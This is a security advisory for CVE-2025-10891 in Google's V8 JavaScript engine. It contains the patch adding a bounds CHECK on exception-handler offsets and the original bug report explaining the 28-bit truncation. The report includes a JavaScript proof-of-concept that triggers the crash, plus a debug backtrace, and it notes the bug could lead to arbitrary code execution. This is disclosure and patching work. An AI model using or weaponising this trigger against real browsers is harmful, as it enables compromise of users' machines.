CVE-2025-10891
Overview
Files Changed
src/codegen/handler-table.cc
Patch
From a5f18bb86c3b97b9bfc8f95a0926812a1282ad7c Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Fri, 12 Sep 2025 16:48:24 +0200
Subject: [PATCH] [ignition] CHECK that handler offsets fit in the bitfield
Fixed: 443765373
Change-Id: I2be7258463c7787311105b7075f3007197cfccfe
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6943611
Reviewed-by: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#102453}
---
diff --git a/src/codegen/handler-table.cc b/src/codegen/handler-table.cc
index e1c1f6a..b815ff2 100644
--- a/src/codegen/handler-table.cc
+++ b/src/codegen/handler-table.cc
@@ -141,6 +141,7 @@
void HandlerTable::SetRangeHandler(int index, int handler_offset,
CatchPrediction prediction) {
+ CHECK(HandlerOffsetField::is_valid(handler_offset));
int value = HandlerOffsetField::encode(handler_offset) |
HandlerWasUsedField::encode(false) |
HandlerPredictionField::encode(prediction);
Original Bug Report
V8: Bytecode corruption due to integer truncation when writing exception handler offset
We are tracking this issue with the public ID BIGSLEEP-443875388. Please use this identifier for reference in any future communication.
Vulnerability Details
Exception handling in V8’s bytecode is implemented by a handler table which effectively encodes the range of the try block and the start of the corresponding catch block . This can for example be seen using --print-bytecode with a simple function:
function simple() {
try {
throw 42;
} catch (e) {
return e;
}
}
/*
[generated bytecode for function: simple (0x034e0005db71 <SharedFunctionInfo simple>)]
0x2ad5001000e4 @ 0 : 1b ff f9 Mov <context>, r0
0x2ad5001000e7 @ 3 : 0d 2a LdaSmi [42]
0x2ad5001000e9 @ 5 : b5 Throw
0x2ad5001000ea @ 6 : d1 Star1
0x2ad5001000eb @ 7 : 8d f8 00 CreateCatchContext r1, [0]
0x2ad5001000ee @ 10 : d2 Star0
0x2ad5001000ef @ 11 : 10 LdaTheHole
0x2ad5001000f0 @ 12 : b4 SetPendingMessage
0x2ad5001000f1 @ 13 : 0b f9 Ldar r0
0x2ad5001000f3 @ 15 : 1c f8 PushContext r1
0x2ad5001000f5 @ 17 : 19 02 LdaImmutableCurrentContextSlot [2]
0x2ad5001000f7 @ 19 : b7 Return
Handler Table (size = 16)
from to hdlr (prediction, data)
( 3, 6) -> 6 (prediction=1, data=0)
*/
Here, the bytecode specifies that if an exception is raised in the range at any point in the bytecode offset range [3, 6), then execution should continue at bytecode offset 6.
Internally, the offset of the handler is encoded as a 28 bit integer, encoded in the function HandlerTable::SetRangeHandler [1]. As there is no hard CHECK that the offset fits into 28 bits, there is a potential for truncation issues if the bytecode becomes too large. One way to generate a function that is sufficiently large is through an async generator function containing a lot of yield* operations, which appear to cause a lot of bytecode to be generated. With that, it becomes possible to overflow the 28 bit bytecode offset of the handler. Subsequently, if an exception is raised, execution will transfer to an invalid offset inside the bytecode, allowing arbitrary bytecode execution similar to BIGSLEEP-436210783/crbug.com/436181695.
The below testcase demonstrates this scenario. As can be seen with --print-bytecode, the offset of the last handler has been truncated and now points into the middle of the function and not to the start of the catch block (the catch block starts at offset 294567982, which is 26132526 when truncated to 28 bits):
...
0x218e125ec063 @ 294567979 : 0d 2a LdaSmi [42]
0x218e125ec065 @ 294567981 : b5 Throw
0x218e125ec066 @ 294567982 : cb Star7
0x218e125ec067 @ 294567983 : 01 8d f2 ff ff ff c7 46 2e 00 CreateCatchContext.ExtraWide r7, [3032775]
0x218e125ec071 @ 294567993 : cc Star6
0x218e125ec072 @ 294567994 : 10 LdaTheHole
0x218e125ec073 @ 294567995 : b4 SetPendingMessage
...
Handler Table (size = 48)
from to hdlr (prediction, data)
( 30,294568033) -> 26132577 (prediction=3, data=4)
( 33,294568013) -> 26132557 (prediction=3, data=5)
(294567979,294567982) -> 26132526 (prediction=1, data=6)
In release builds, this will usually lead to a segmentation fault (e.g. due to an invalid bytecode opcode being executed). However, an attacker should be able to craft the bytecode in a way that there will be valid attacker-controlled bytecode at the jump destination, subsequently allowing for arbitrary code execution.
Affected Version(s)
The issue has been successfully reproduced:
- at HEAD (commit 6002d3ae186f974cd2013b410e487e2631f61f16)
- in stable release 14.0.365.4 (fdb12b460f148895f6af2ff0e0d870ff8889f154
Reproduction
Test Case
The following testcase causes a DCHECK failure in debug builds and a segmentation fault in release builds as described above.
let kNumYields = 500000;
let body = `
if ("foo" === "bar") {
${"yield* 42;".repeat(kNumYields)}
}
try {
throw 42;
} catch (e) {
// Will never get here
}
`;
const AsyncGeneratorFunction = Object.getPrototypeOf(async function*(){}).constructor;
let bug = new AsyncGeneratorFunction(body);
let r = bug();
r.next();
Build Instructions
Follow the instructions at https://v8.dev/docs/build. The crash was verified on a debug build:
gm.py x64.debug
Command
Note that the testcase may take a few minutes to trigger on a debug build but should trigger within a few seconds on a release build.
./out/x64.debug/d8 crash.js
Crash Backtrace
#
# Fatal error in ../../src/base/bit-field.h, line 56
# Debug check failed: is_valid(value).
#
#
#
#FailureMessage Object: 0x7b42c013f860
==== C stack trace ===============================
./out/x64.debug/d8(___interceptor_backtrace+0x46) [0x5622fa2f9a06]
v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f42c3bd789e]
v8/v8/out/x64.debug/libv8_libplatform.so(+0x7c49b) [0x7f42c3ab349b]
v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x2e2) [0x7f42c3b7f1d2]
v8/v8/out/x64.debug/libv8_libbase.so(+0x888f7) [0x7f42c3b7e8f7]
v8/v8/out/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x4d) [0x7f42c3b7f31d]
v8/v8/out/x64.debug/libv8.so(v8::base::BitField<int, 4, 28, unsigned int>::encode(int)+0x37) [0x7f42ce567a37]
v8/v8/out/x64.debug/libv8.so(v8::internal::HandlerTable::SetRangeHandler(int, int, v8::internal::HandlerTable::CatchPrediction)+0x3f) [0x7f42ce565b4f]
v8/v8/out/x64.debug/libv8.so(v8::internal::DirectHandle<v8::internal::TrustedByteArray> v8::internal::interpreter::HandlerTableBuilder::ToHandlerTable<v8::internal::Isolate>(v8::internal::Isolate*)+0x2d7) [0x7f42cfc43607]
v8/v8/out/x64.debug/libv8.so(v8::internal::Handle<v8::internal::BytecodeArray> v8::internal::interpreter::BytecodeArrayBuilder::ToBytecodeArray<v8::internal::Isolate>(v8::internal::Isolate*)+0x1a2) [0x7f42cfb27df2]
v8/v8/out/x64.debug/libv8.so(v8::internal::Handle<v8::internal::BytecodeArray> v8::internal::interpreter::BytecodeGenerator::FinalizeBytecode<v8::internal::Isolate>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Script>)+0x5a4) [0x7f42cfbd5514]
v8/v8/out/x64.debug/libv8.so(v8::internal::CompilationJob::Status v8::internal::interpreter::InterpreterCompilationJob::DoFinalizeJobImpl<v8::internal::Isolate>(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x48f) [0x7f42cfc4aa1f]
v8/v8/out/x64.debug/libv8.so(v8::internal::interpreter::InterpreterCompilationJob::FinalizeJobImpl(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x233) [0x7f42cfc46a03]
v8/v8/out/x64.debug/libv8.so(v8::internal::UnoptimizedCompilationJob::FinalizeJob(v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*)+0x380) [0x7f42ce47a8c0]
v8/v8/out/x64.debug/libv8.so(+0xa8a6917) [0x7f42ce4a6917]
v8/v8/out/x64.debug/libv8.so(+0xa88f4ea) [0x7f42ce48f4ea]
v8/v8/out/x64.debug/libv8.so(+0xa892ed7) [0x7f42ce492ed7]
v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromEval(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::String>, v8::internal::DirectHandle<v8::internal::SharedFunctionInfo>, v8::internal::DirectHandle<v8::internal::Context>, v8::internal::LanguageMode, v8::internal::ParseRestriction, int, int, v8::internal::ParsingWhileDebugging)+0x20e9) [0x7f42ce4988f9]
v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromValidatedString(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::NativeContext>, v8::internal::MaybeDirectHandle<v8::internal::String>, v8::internal::ParseRestriction, int)+0x574) [0x7f42ce49a734]
v8/v8/out/x64.debug/libv8.so(v8::internal::Compiler::GetFunctionFromString(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::NativeContext>, v8::internal::Handle<v8::internal::Object>, int, bool)+0xe0) [0x7f42ce49a900]
v8/v8/out/x64.debug/libv8.so(+0xa7469b2) [0x7f42ce3469b2]
v8/v8/out/x64.debug/libv8.so(+0xa742741) [0x7f42ce342741]
v8/v8/out/x64.debug/libv8.so(v8::internal::Builtin_AsyncGeneratorFunctionConstructor(int, unsigned long*, v8::internal::Isolate*)+0x200) [0x7f42ce342340]
v8/v8/out/x64.debug/libv8.so(+0x995397d) [0x7f42cd55397d]
Reporter Credit
Google Big Sleep
Disclosure Policy
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-12-08. For more information, visit https://goo.gle/bigsleep
- http://crbug.com/436181695](https://crbug.com/436181695
- https://crbug.com/436181695
- https://goo.gle/bigsleep
- https://source.chromium.org/chromium/chromium/src/ /main:v8/src/codegen/handler-table.cc;l=144;drc=6002d3ae186f974cd2013b410e487e2631f61f16
- https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/handler-table.cc;l=144;drc=6002d3ae186f974cd2013b410e487e2631f61f16
- https://v8.dev/docs/build